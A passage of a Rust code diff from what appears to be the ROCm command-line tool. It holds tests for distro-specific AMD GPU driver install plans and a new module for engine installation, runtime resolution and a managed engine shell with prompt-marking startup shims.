assert_eq!(plan.repo_version, "1.2.2"); + let commands = plan.execution_commands().join("\n"); + // The version is resolved here, not deferred to the shell: the plan the + // user approves has to name the build the install will actually fetch. + // No `${...}` expansion survives into the commands at all — the digest + // is resolved at plan-build time too, which + // `wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default` + // asserts by name. + assert!( + !commands.contains("ROCM_CLI_ROCDXG_VERSION"), + "version must be resolved at plan-build time, not left as a shell template:\n{commands}" + ); + let occurrences = commands.matches("1.2.2").count(); + assert!( + occurrences >= 3, + "version should drive the deb name, the tag and the path; saw {occurrences}" + ); + + // An override has to reach every one of those references, including the + // release URL — the bug this guards is a URL left on the default. The + // digest comes along because an unpinned version is refused outright; + // see `wsl_rocdxg_refuses_a_version_whose_digest_is_unknown`. + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_SHA256_ENV, &"b".repeat(64)); + let overridden = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert_eq!(overridden.repo_version, "9.9.9"); + let commands = overridden.execution_commands().join("\n"); + assert!( + commands.contains("rocdxg-roct_9.9.9_amd64.deb"), + "{commands}" + ); + assert!( + commands.contains( + "https://github.com/ROCm/librocdxg/releases/download/v9.9.9/rocdxg-roct_9.9.9_amd64.deb" + ), + "{commands}" + ); + assert!( + !commands.contains("1.2.2"), + "override left a reference on the default version:\n{commands}" + ); + } + + // EAI-7406: distro selection must honor `/etc/os-release` `ID_LIKE`, so that + // Debian/Ubuntu-family and RHEL-rebuild derivatives that share their base + // version scheme are matched to the correct apt (`ubuntu/`) or EL + // (`el/`) plan instead of falling through to the unsupported plan. + + #[test] + fn driver_plan_ubuntu_derivative_via_id_like_matches_ubuntu_plan() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Pop!_OS reports its own ID but reuses Ubuntu's version + repositories. + let os_release = r#" +ID=pop +VERSION_ID="22.04" +VERSION_CODENAME=jammy +ID_LIKE="ubuntu debian" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + // Ubuntu-family derivatives ship the Ubuntu kernel, so linux-modules-extra applies. + assert!(rendered.contains("linux-modules-extra-$(uname -r)")); + assert!(rendered.contains("https://repo.radeon.com/graphics/7.2.4/ubuntu jammy main")); + assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_debian_derivative_via_id_like_matches_debian_plan() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // A Debian derivative (e.g. LMDE) that shares Debian's version scheme. + let os_release = r#" +ID=lmde +VERSION_ID="12" +ID_LIKE=debian +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + // Debian-family maps to the Ubuntu jammy repo and omits linux-modules-extra. + assert!(rendered.contains("https://repo.radeon.com/graphics/7.2.4/ubuntu jammy main")); + assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); + assert!(rendered.contains("amdgpu-dkms")); + } + + #[test] + fn driver_plan_almalinux_via_id_like_uses_el_9_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // AlmaLinux is a RHEL rebuild: standard kernel, served from the el/ path. + let os_release = r#" +ID=almalinux +VERSION_ID="9.6" +ID_LIKE="rhel centos fedora" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + // EL rebuilds use the vendor-neutral el/ repo path, not rhel/. + assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/el/9.6/")); + assert!(!rendered.contains("/rhel/9.6/")); + assert!(rendered.contains("amdgpu-install-7.2.4.70204-1.el9.noarch.rpm")); + // el9 uses the version-aware standard-kernel prepare commands. + assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_almalinux_8_via_id_like_uses_el_major_path() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=almalinux +VERSION_ID="8.10" +ID_LIKE="rhel centos fedora" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + // EL 8 is served from the major-version path (el/8), matching AMD docs. + assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/el/8/")); + assert!(rendered.contains("-1.el8.noarch.rpm")); + // el8 has no kernel-devel-matched package. + assert!(!rendered.contains("kernel-devel-matched")); + assert!(rendered.contains("kernel-devel-$(uname -r)")); + } + + #[test] + fn driver_plan_id_like_with_unsupported_version_stays_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // A Debian-family derivative whose VERSION_ID does not align with any + // AMD-documented Debian version must not fabricate a plan. + let os_release = r#" +ID=lmde +VERSION_ID="6" +ID_LIKE=debian +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(!rendered.contains("amdgpu-dkms")); + } + + #[test] + fn driver_plan_exact_id_takes_precedence_over_id_like() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // An exact RHEL match must keep the rhel/ path even though ID_LIKE=fedora. + let os_release = r#" +ID=rhel +VERSION_ID="9.7" +ID_LIKE=fedora +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/rhel/9.7/")); + assert!(!rendered.contains("/el/9.7/")); + } + + #[test] + fn driver_plan_oracle_linux_off_arm_version_stays_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Oracle Linux reports `ID_LIKE=fedora` (not rhel) and boots UEK. An OL + // version outside the exact `ol` arm must NOT be captured by the EL + // fallback, which would emit non-UEK kernel commands that cannot install. + let os_release = r#" +ID=ol +VERSION_ID="9.6" +ID_LIKE=fedora +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(!rendered.contains("kernel-devel-matched")); + assert!(!rendered.contains("amdgpu-dkms")); + } + + #[test] + fn driver_plan_opensuse_leap_stays_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // openSUSE Leap shares SLES's version scheme but has no SUSEConnect/SCC + // entitlement, so it must not be matched to the SLES plan. + let os_release = r#" +ID=opensuse-leap +VERSION_ID="15.7" +ID_LIKE="suse opensuse" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(!rendered.contains("SUSEConnect")); + assert!(!rendered.contains("amdgpu-dkms")); + } +} diff --git a/apps/rocm/src/engines_cmd.rs b/apps/rocm/src/engines_cmd.rs new file mode 100644 index 000000000..1ed66f851 --- /dev/null +++ b/apps/rocm/src/engines_cmd.rs @@ -0,0 +1,1036 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! `rocm engines` command handlers and env-root/runtime resolution. +//! +//! Mechanically relocated from `main.rs` with no behavior change — the +//! `dispatch()` call site stays byte-identical (`engines(command)`, +//! re-imported via `use crate::engines_cmd::engines;`). `EnginesCommand`/`Cli` +//! remain in the crate root. Several env-root/runtime helpers here are also +//! called from `serve_cmd.rs` and from other root-level commands, so they +//! stay `pub(crate)` rather than private. + +use std::fs; +use std::path::{Path, PathBuf}; +use std::process::{Command as ProcessCommand, Stdio}; + +use anyhow::{Context, Result, bail}; +use rocm_core::{ + AppPaths, RocmCliConfig, default_interactive_shell_program, interactive_terminal, + prepend_runtime_path, runtime_python_activation_hint, runtime_python_env_bin_dir, +}; +use rocm_engine_protocol::{ + DetectRequest, DetectResponse, EngineMethod, InstallRequest, InstallResponse, +}; +use serde::Deserialize; + +use crate::EnginesCommand; +use crate::therock; +use crate::{ + apply_app_path_env, engine_request, engine_request_with_env_root, ensure_libatomic_for_torch, + ensure_libnuma_for_torch, ensure_openmpi_for_vllm, path_is_same_or_inside, + record_cli_audit_event, recover_setup_runtime_registration, render_engine_inventory_text, + resolve_engine_selection, resolve_runtime_selector_to_exact_key, select_runtime_manifest, + settle_engine_install, validate_engine_selection_runtime, + validate_runtime_manifest_for_activation, +}; + +pub(crate) fn engines(command: EnginesCommand) -> Result<()> { + match command { + EnginesCommand::List => { + print!("{}", render_engine_inventory_text()); + Ok(()) + } + EnginesCommand::Install { + engine, + runtime_id, + python_version, + reinstall, + yes, + } => { + let paths = AppPaths::discover()?; + let mut config = RocmCliConfig::load(&paths)?; + let runtime_id = + resolve_engine_install_runtime_id(&paths, &config, &engine, runtime_id)?; + let env_root = env_root_for_engine_install(&paths, &config, &engine, &runtime_id)?; + if engine == "vllm" { + ensure_openmpi_for_vllm(yes)?; + ensure_libatomic_for_torch(yes); + ensure_libnuma_for_torch(yes); + } + let response = engine_request_with_env_root::<_, InstallResponse>( + Some(&paths), + &engine, + EngineMethod::Install, + &InstallRequest { + runtime_id: runtime_id.clone(), + python_version, + reinstall, + env_root: env_root.clone(), + }, + env_root.as_deref(), + )?; + println!("engine install"); + println!(" engine: {engine}"); + println!(" runtime_id: {runtime_id}"); + println!(" reinstall: {reinstall}"); + println!(" env_id: {}", response.env_id); + println!(" env_path: {}", response.env_path); + for warning in &response.warnings { + println!(" warning: {warning}"); + } + if response.managed_env == Some(false) { + println!(" note: external runtime"); + } else { + let engine_config = config.engine_config_mut(&engine); + engine_config.last_installed_runtime_id = Some(runtime_id.clone()); + engine_config.last_installed_env_id = Some(response.env_id.clone()); + let mut seeded_preference = false; + if engine_config.preferred_runtime_id.is_none() + && engine_config.preferred_env_id.is_none() + { + engine_config.preferred_env_id = Some(response.env_id.clone()); + seeded_preference = true; + } + config.save(&paths)?; + let _ = seeded_preference; + } + // Settle last, matching `maybe_auto_install_sdk_preferred_engine`. The + // check blocks then print under the `engine:`/`runtime_id:`/`env_id:` + // lines they describe instead of above them, and the config bookkeeping + // above still lands when settling fails — the engine did install; it is + // the runtime it left behind that is being reported on. + settle_engine_install(&paths, &engine, &runtime_id, &response)?; + record_cli_audit_event( + &paths, + "engine", + "engine_install", + "info", + format!( + "installed engine={} runtime_id={} env_id={} reinstall={}", + engine, runtime_id, response.env_id, reinstall + ), + None, + ); + Ok(()) + } + EnginesCommand::Shell { + engine, + runtime_id, + env_id, + shell, + } => engine_shell( + &engine, + runtime_id.as_deref(), + env_id.as_deref(), + shell.as_deref(), + ), + } +} + +fn resolve_engine_install_runtime_id( + paths: &AppPaths, + config: &RocmCliConfig, + engine: &str, + runtime_id: Option, +) -> Result { + if engine_manages_own_runtime(engine) { + return Ok(runtime_id.unwrap_or_else(|| managed_engine_runtime_id(engine))); + } + let Some(selector) = runtime_id + .or_else(|| config.active_runtime_key.clone()) + .or_else(|| config.default_runtime_id.clone()) + else { + bail!( + "no active ROCm runtime is configured; run `rocm runtimes list` and `rocm runtimes activate `, or pass --runtime-id" + ); + }; + resolve_runtime_selector_to_exact_key(paths, &selector, "engine install runtime selection") +} + +pub(crate) fn engine_manages_own_runtime(engine: &str) -> bool { + engine == "lemonade" +} + +fn env_root_for_runtime( + paths: &AppPaths, + engine: &str, + runtime_id: &str, +) -> Result> { + if engine_manages_own_runtime(engine) { + return Ok(None); + } + let manifests = therock::load_runtime_manifests(paths)?; + let manifest = select_runtime_manifest(&manifests, runtime_id)?; + Ok(Some(manifest.install_root.join("engines"))) +} + +pub(crate) fn env_root_for_engine_install( + paths: &AppPaths, + config: &RocmCliConfig, + engine: &str, + runtime_id: &str, +) -> Result> { + if engine_manages_own_runtime(engine) { + return env_root_for_self_managed_engine(paths, config); + } + env_root_for_runtime(paths, engine, runtime_id) +} + +fn env_root_for_self_managed_engine( + paths: &AppPaths, + config: &RocmCliConfig, +) -> Result> { + recover_setup_runtime_registration(paths, config)?; + let manifests = therock::load_runtime_manifests(paths)?; + for selector in [ + config.active_runtime_key.as_deref(), + config.default_runtime_id.as_deref(), + ] + .into_iter() + .flatten() + { + if let Some(manifest) = runtime_manifest_for_selector(&manifests, selector) { + return Ok(Some(manifest.install_root.join("engines"))); + } + } + let ready = manifests + .iter() + .filter(|manifest| validate_runtime_manifest_for_activation(manifest).is_ok()) + .collect::>(); + Ok(match ready.as_slice() { + [manifest] => Some(manifest.install_root.join("engines")), + _ => None, + }) +} + +pub(crate) fn runtime_manifest_for_selector<'a>( + manifests: &'a [therock::InstalledRuntimeManifest], + selector: &str, +) -> Option<&'a therock::InstalledRuntimeManifest> { + manifests + .iter() + .find(|manifest| manifest.runtime_key.eq_ignore_ascii_case(selector)) + .or_else(|| { + let mut matches = manifests + .iter() + .filter(|manifest| manifest.runtime_id.eq_ignore_ascii_case(selector)); + let first = matches.next()?; + if matches.next().is_none() { + Some(first) + } else { + None + } + }) +} + +/// The `runtime_key` of the runtime whose install root contains `python`. +pub(crate) fn runtime_key_for_python(paths: &AppPaths, python: &Path) -> Option { + let manifests = therock::load_runtime_manifests(paths).ok()?; + runtime_key_owning_python(&manifests, python).map(str::to_owned) +} + +/// Which runtime owns an interpreter, decided by install root. +/// +/// Split from the registry read so the decision can be tested without a +/// registry on disk, matching `sdk_torch_build_from_manifest`. +/// +/// `runtime_id` cannot answer this: it is shared by every side-by-side install +/// of one channel and family, which is exactly the situation an engine install +/// has to be attributed in. An install root contains one runtime by +/// construction, so the interpreter's path settles it. +/// +/// Both sides are compared verbatim *and* canonicalized. The CLI writes +/// `install_root` canonicalized while an engine adapter reports back whatever +/// path it was handed, and comparing a single form makes ownership fail +/// silently on a symlinked runtimes directory. Roots can nest, so the longest +/// containing root wins. +fn runtime_key_owning_python<'a>( + manifests: &'a [therock::InstalledRuntimeManifest], + python: &Path, +) -> Option<&'a str> { + fn both_forms(path: &Path) -> Vec { + let verbatim = path.to_path_buf(); + match path.canonicalize() { + Ok(resolved) if resolved != verbatim => vec![verbatim, resolved], + _ => vec![verbatim], + } + } + + let pythons = both_forms(python); + manifests + .iter() + .filter(|manifest| { + both_forms(&manifest.install_root) + .iter() + .any(|root| pythons.iter().any(|python| python.starts_with(root))) + }) + .max_by_key(|manifest| manifest.install_root.as_os_str().len()) + .map(|manifest| manifest.runtime_key.as_str()) +} + +pub(crate) fn env_root_for_service( + paths: &AppPaths, + engine: &str, + runtime_id: Option<&str>, + env_id: Option<&str>, +) -> Result> { + if env_id.is_some() { + return Ok(None); + } + match runtime_id { + Some(runtime_id) => env_root_for_runtime(paths, engine, runtime_id), + None => Ok(None), + } +} + +/// Label recorded for the runtime a self-managing engine installs for itself. +/// +/// For `lemonade` this must be the `env_id` its adapter reports, which is +/// derived from the single Lemonade pin — it was previously a hand-written +/// literal and had drifted several minor versions behind what is installed. +fn managed_engine_runtime_id(engine: &str) -> String { + match engine { + "lemonade" => format!("lemonade-embeddable-{}", rocm_deps::LEMONADE_VERSION), + _ => "managed-engine-runtime".to_owned(), + } +} + +pub(crate) fn ensure_self_managed_engine_ready( + paths: &AppPaths, + config: &mut RocmCliConfig, + engine: &str, +) -> Result<()> { + if !engine_manages_own_runtime(engine) { + return Ok(()); + } + let runtime_id = managed_engine_runtime_id(engine); + let env_root = env_root_for_self_managed_engine(paths, config)?; + let detect = engine_request::<_, DetectResponse>( + Some(paths), + engine, + EngineMethod::Detect, + &DetectRequest { + runtime_id: Some(runtime_id.clone()), + device_filter: None, + }, + ) + .ok(); + // For a self-managing engine the runtime id *is* the env id its adapter + // reports for the pinned version, so a version bump leaves an older + // install detected-but-not-current. Requiring the ids to match makes the + // bump trigger an install instead of silently keeping the old runtime. + let installed = detect.as_ref().is_some_and(|detect| { + detect.installed + && detect.env_id.as_deref() == Some(runtime_id.as_str()) + && detect_runtime_matches_env_root(detect, env_root.as_deref()) + }); + let response = if installed { + None + } else { + eprintln!("Preparing {engine} for GPU serving..."); + let response = engine_request_with_env_root::<_, InstallResponse>( + Some(paths), + engine, + EngineMethod::Install, + &InstallRequest { + runtime_id: runtime_id.clone(), + python_version: None, + reinstall: false, + env_root: env_root.clone(), + }, + env_root.as_deref(), + )?; + // No `settle_engine_install` here. This function returns at the top unless + // `engine_manages_own_runtime(engine)`, and that is exactly the case + // `settles_runtime_torch` declines: the runtime holds the engine's own + // binary, not an interpreter with a torch in it. Calling it would be inert + // at best, and a call that provably cannot act invites someone to "fix" the + // gate later. + Some(response) + }; + + let engine_config = config.engine_config_mut(engine); + engine_config.last_installed_runtime_id = Some(runtime_id); + if let Some(response) = response { + engine_config.last_installed_env_id = Some(response.env_id.clone()); + if engine_config.preferred_runtime_id.is_none() && engine_config.preferred_env_id.is_none() + { + engine_config.preferred_env_id = Some(response.env_id); + } + } + config.save(paths)?; + Ok(()) +} + +fn detect_runtime_matches_env_root(detect: &DetectResponse, env_root: Option<&Path>) -> bool { + let Some(env_root) = env_root else { + return true; + }; + detect + .runtime_executable + .as_deref() + .map(PathBuf::from) + .is_some_and(|runtime_executable| path_is_same_or_inside(&runtime_executable, env_root)) +} + +#[derive(Debug, Clone, Deserialize)] +struct ManagedEngineEnvManifest { + env_id: String, + runtime_id: String, + python_executable: String, + env_path: PathBuf, +} + +#[derive(Debug, Clone)] +struct ResolvedEngineEnv { + env_id: String, + runtime_id: String, + python_executable: String, + env_path: PathBuf, + source: String, +} + +/// Extra argv, environment, and files needed to make a spawned shell *look* +/// like a managed engine shell. +#[derive(Debug, Clone, PartialEq, Eq)] +struct ShellPromptShim { + /// Appended to the shell's argv. + args: Vec, + /// Added to the child environment. + envs: Vec<(String, String)>, + /// Written before the shell starts, as (path, contents). + files: Vec<(PathBuf, String)>, +} + +/// Work out how to mark `shell_program`'s prompt with `prompt`. +/// +/// Passing the marker through the `PS1` *environment variable* does not work: +/// bash assigns `PS1` from `/etc/bash.bashrc` and `~/.bashrc` on every +/// interactive start, so the inherited value is overwritten and the engine shell +/// ends up looking exactly like the shell it was launched from. The marker has to +/// be applied from inside the shell's own startup, after the user's files have +/// run — which is what these shims do. +/// +/// Pure: decides *what* to write and *how* to invoke, and leaves the I/O to the +/// caller so the decision can be unit-tested. Returns `None` for shells that +/// cannot be marked safely; the caller's handover banner covers those instead of +/// this failing. +/// +/// `original_zdotdir` is the caller's `ZDOTDIR`, if it had one, so the zsh shim +/// can still find the user's real startup files after we redirect `ZDOTDIR` at +/// our own directory. +fn engine_shell_prompt_shim( + shell_program: &str, + prompt: &str, + shim_dir: &Path, + original_zdotdir: Option<&str>, +) -> Option { + // Match on the file stem so `--shell /usr/bin/zsh` and a bare `bash` behave + // the same. `bash5`-style names are deliberately not matched: guessing wrong + // is worse than falling back to the banner. + let stem = Path::new(shell_program) + .file_stem() + .and_then(std::ffi::OsStr::to_str)? + .to_ascii_lowercase(); + + match stem.as_str() { + "bash" => { + let rcfile = shim_dir.join("engine-shell.bash"); + // `--rcfile` replaces ~/.bashrc ONLY -- bash still sources + // /etc/bash.bashrc itself, so sourcing that here would apply it twice. + let contents = format!( + "# Generated by `rocm engines shell`. Sources your own startup file\n\ + # first, then marks the prompt so this shell is distinguishable.\n\ + if [ -r \"$HOME/.bashrc\" ]; then . \"$HOME/.bashrc\"; fi\n\ + PS1='{prompt}'\"$PS1\"\n" + ); + Some(ShellPromptShim { + args: vec![ + "--rcfile".to_owned(), + rcfile.display().to_string(), + "-i".to_owned(), + ], + envs: Vec::new(), + files: vec![(rcfile, contents)], + }) + } + "zsh" => { + // Redirecting ZDOTDIR makes zsh skip the user's `.zshenv` AND their + // `.zshrc`. Losing `.zshenv` would silently strip their PATH and + // exports -- a worse bug than the unmarked prompt -- so both are + // restored, and the original location is passed through for the shim + // to read at startup. + let user_zdotdir = "${ROCM_CLI_ORIG_ZDOTDIR:-$HOME}"; + let zshenv = format!( + "# Generated by `rocm engines shell`; restores your own .zshenv.\n\ + __rocm_zdotdir=\"{user_zdotdir}\"\n\ + [ -r \"$__rocm_zdotdir/.zshenv\" ] && . \"$__rocm_zdotdir/.zshenv\"\n" + ); + let zshrc = format!( + "# Generated by `rocm engines shell`. Sources your own .zshrc first,\n\ + # then marks the prompt so this shell is distinguishable.\n\ + __rocm_zdotdir=\"{user_zdotdir}\"\n\ + [ -r \"$__rocm_zdotdir/.zshrc\" ] && . \"$__rocm_zdotdir/.zshrc\"\n\ + PROMPT='{prompt}'$PROMPT\n" + ); + let mut envs = vec![("ZDOTDIR".to_owned(), shim_dir.display().to_string())]; + if let Some(original) = original_zdotdir.filter(|value| !value.trim().is_empty()) { + envs.push(("ROCM_CLI_ORIG_ZDOTDIR".to_owned(), original.to_owned())); + } + Some(ShellPromptShim { + args: Vec::new(), + envs, + files: vec![ + (shim_dir.join(".zshenv"), zshenv), + (shim_dir.join(".zshrc"), zshrc), + ], + }) + } + // fish, sh, dash, cmd, PowerShell, anything else: no safe way to inject a + // marker without taking over startup, so the banner carries the message. + _ => None, + } +} + +/// Write a [`ShellPromptShim`]'s files, creating the directory if needed. +/// +/// The files live under the app's own engine state directory rather than a temp +/// dir: they must outlive this process's setup and stay readable for the whole +/// life of the spawned shell, and a fixed path is regenerated on every run +/// instead of accumulating. +fn write_engine_shell_shim(shim_dir: &Path, shim: &ShellPromptShim) -> Result<()> { + fs::create_dir_all(shim_dir) + .with_context(|| format!("failed to create {}", shim_dir.display()))?; + for (path, contents) in &shim.files { + fs::write(path, contents).with_context(|| format!("failed to write {}", path.display()))?; + } + Ok(()) +} + +fn engine_shell( + engine: &str, + runtime_id: Option<&str>, + env_id: Option<&str>, + shell_override: Option<&str>, +) -> Result<()> { + if !interactive_terminal() { + bail!("`rocm engines shell` requires an interactive terminal"); + } + + let paths = AppPaths::discover()?; + let config = RocmCliConfig::load(&paths)?; + let resolved = resolve_engine_env(&paths, &config, engine, runtime_id, env_id)?; + let shell_program = shell_override + .map(str::to_owned) + .or_else(default_interactive_shell_program) + .context("unable to determine an interactive shell; set --shell or SHELL")?; + let venv_bin = runtime_python_env_bin_dir(&resolved.env_path); + let shell_hint = runtime_python_activation_hint(&resolved.env_path); + + println!("engine shell"); + println!(" engine: {engine}"); + println!(" source: {}", resolved.source); + println!(" env_id: {}", resolved.env_id); + println!(" runtime_id: {}", resolved.runtime_id); + println!(" env_path: {}", resolved.env_path.display()); + println!(" python: {}", resolved.python_executable); + println!(" shell: {shell_program}"); + println!(" activate_hint: {shell_hint}"); + println!(" exit_hint: use `exit` or Ctrl-D to leave the managed env shell"); + + let path_with_env = prepend_runtime_path(&venv_bin, std::env::var_os("PATH").as_deref()) + .context("failed to compose PATH for managed engine env shell")?; + let mut command = ProcessCommand::new(&shell_program); + command + .stdin(Stdio::inherit()) + .stdout(Stdio::inherit()) + .stderr(Stdio::inherit()) + .env("VIRTUAL_ENV", &resolved.env_path) + .env("PATH", path_with_env) + .env("ROCM_CLI_ENGINE", engine) + .env("ROCM_CLI_ENV_ID", &resolved.env_id) + .env("ROCM_CLI_RUNTIME_ID", &resolved.runtime_id) + .env("ROCM_CLI_PYTHON", &resolved.python_executable); + apply_app_path_env(&mut command, &paths); + + let prompt = format!("(rocm:{engine}) "); + let mut prompt_marked = false; + if !rocm_core::runtime_is_windows() { + // Kept for prompt frameworks (starship, powerlevel10k, oh-my-posh) that + // read this directly -- that is why the missing marker went unnoticed by + // anyone using one. Plain bash/zsh need the shim below. + command.env("VIRTUAL_ENV_PROMPT", &prompt); + + let shim_dir = paths.engine_state_dir(engine).join("shell"); + // `engine` is constrained by clap to the supported-engine list, so the + // prompt cannot carry shell metacharacters into the generated files. + if let Some(shim) = engine_shell_prompt_shim( + &shell_program, + &prompt, + &shim_dir, + std::env::var("ZDOTDIR").ok().as_deref(), + ) { + // A shim that cannot be written is not worth failing the command over + // -- the shell still works, it just looks unmarked, and the banner + // below adapts to say so. + match write_engine_shell_shim(&shim_dir, &shim) { + Ok(()) => { + command.args(&shim.args); + for (key, value) in &shim.envs { + command.env(key, value); + } + prompt_marked = true; + } + Err(error) => { + eprintln!("warning: could not prepare the engine shell prompt: {error}"); + } + } + } + + if !prompt_marked { + // Shells we have no shim for (sh, dash) do honour an inherited PS1, so + // this is still worth setting -- but as a self-contained value. The + // previous `{prompt}${PS1:-}` referred to the variable being assigned, + // which dash expanded into itself and rendered as + // `(rocm:vllm) (rocm:vllm) ${PS1:-}`. Shells that ignore PS1 entirely + // (fish) are unaffected either way. + command.env("PS1", format!("{prompt}$ ")); + } + } + + // The block above describes the environment; this is the handover. Without + // it, a shell we could not mark is indistinguishable from the parent and + // reads as "the command only printed information" -- which is how this was + // reported. + println!(); + if prompt_marked { + println!("Entering the {engine} engine shell — your prompt is now prefixed {prompt}"); + } else { + println!( + "Entering the {engine} engine shell — your prompt may look unchanged; \ + run `echo $ROCM_CLI_ENGINE` to confirm you are inside it." + ); + } + println!("Run `exit` (or Ctrl-D) to return to your previous shell."); + + let status = command + .status() + .with_context(|| format!("failed to launch shell `{shell_program}`"))?; + if status.success() { + Ok(()) + } else { + bail!("managed engine shell exited with status {status}"); + } +} + +fn resolve_engine_env( + paths: &AppPaths, + config: &RocmCliConfig, + engine: &str, + runtime_id: Option<&str>, + env_id: Option<&str>, +) -> Result { + let selection = validate_engine_selection_runtime( + paths, + resolve_engine_selection(config, engine, runtime_id, env_id), + )?; + if let Some(env_id) = selection.env_id.as_deref() { + let manifest = load_engine_env_manifest(paths, engine, env_id)?; + return Ok(ResolvedEngineEnv { + env_id: manifest.env_id, + runtime_id: manifest.runtime_id, + python_executable: manifest.python_executable, + env_path: manifest.env_path, + source: selection + .source + .unwrap_or_else(|| "manifest_env_id".to_owned()), + }); + } + + let runtime_id = selection.runtime_id.with_context(|| { + "no active ROCm runtime is configured; run `rocm runtimes list` and `rocm runtimes activate `, or pass --runtime-id" + })?; + let env_root = env_root_for_engine_install(paths, config, engine, &runtime_id)?; + let response = engine_request_with_env_root::<_, InstallResponse>( + Some(paths), + engine, + EngineMethod::Install, + &InstallRequest { + runtime_id: runtime_id.clone(), + python_version: None, + reinstall: false, + env_root: env_root.clone(), + }, + env_root.as_deref(), + )?; + settle_engine_install(paths, engine, &runtime_id, &response)?; + Ok(ResolvedEngineEnv { + env_id: response.env_id, + runtime_id, + python_executable: response.python_executable, + env_path: PathBuf::from(response.env_path), + source: selection + .source + .unwrap_or_else(|| "auto_install".to_owned()), + }) +} + +fn load_engine_env_manifest( + paths: &AppPaths, + engine: &str, + env_id: &str, +) -> Result { + let path = paths + .engine_manifests_dir(engine) + .join(format!("{env_id}.json")); + let bytes = fs::read(&path).with_context(|| format!("failed to read {}", path.display()))?; + serde_json::from_slice(&bytes).with_context(|| format!("failed to parse {}", path.display())) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::tests::{ + side_by_side_runtimes, test_paths, test_runtime_manifest_for_update, write_test_pip_runtime, + }; + + #[test] + fn engine_install_runtime_selection_requires_configured_runtime() -> Result<()> { + let (root, paths) = test_paths("engine-install-runtime-selection"); + let error = + resolve_engine_install_runtime_id(&paths, &RocmCliConfig::default(), "vllm", None) + .unwrap_err() + .to_string(); + assert!(error.contains("no active ROCm runtime is configured")); + assert_eq!( + resolve_engine_install_runtime_id(&paths, &RocmCliConfig::default(), "lemonade", None)?, + format!("lemonade-embeddable-{}", rocm_deps::LEMONADE_VERSION), + ); + write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all", + "therock-release:gfx120X-all", + "7.13.0", + 1, + )?; + + let config = RocmCliConfig { + active_runtime_key: Some("release-pip-gfx120x-all".to_owned()), + ..RocmCliConfig::default() + }; + assert_eq!( + resolve_engine_install_runtime_id(&paths, &config, "vllm", None)?, + "release-pip-gfx120x-all" + ); + assert_eq!( + resolve_engine_install_runtime_id( + &paths, + &config, + "vllm", + Some("therock-release:gfx120X-all".to_owned()) + )?, + "release-pip-gfx120x-all" + ); + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn env_root_for_runtime_uses_runtime_install_root() -> Result<()> { + let (root, paths) = test_paths("engine-env-root-runtime"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all", + "therock-release:gfx120X-all", + "7.13.0", + 1, + )?; + + let engine_root = env_root_for_runtime(&paths, "vllm", &manifest.runtime_key)?; + + assert_eq!(engine_root, Some(manifest.install_root.join("engines"))); + assert_eq!( + env_root_for_runtime(&paths, "lemonade", &manifest.runtime_key)?, + None + ); + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn env_root_for_engine_install_uses_active_runtime_root_for_lemonade() -> Result<()> { + let (root, paths) = test_paths("lemonade-engine-env-root-runtime"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all", + "therock-release:gfx120X-all", + "7.13.0", + 1, + )?; + let config = RocmCliConfig { + 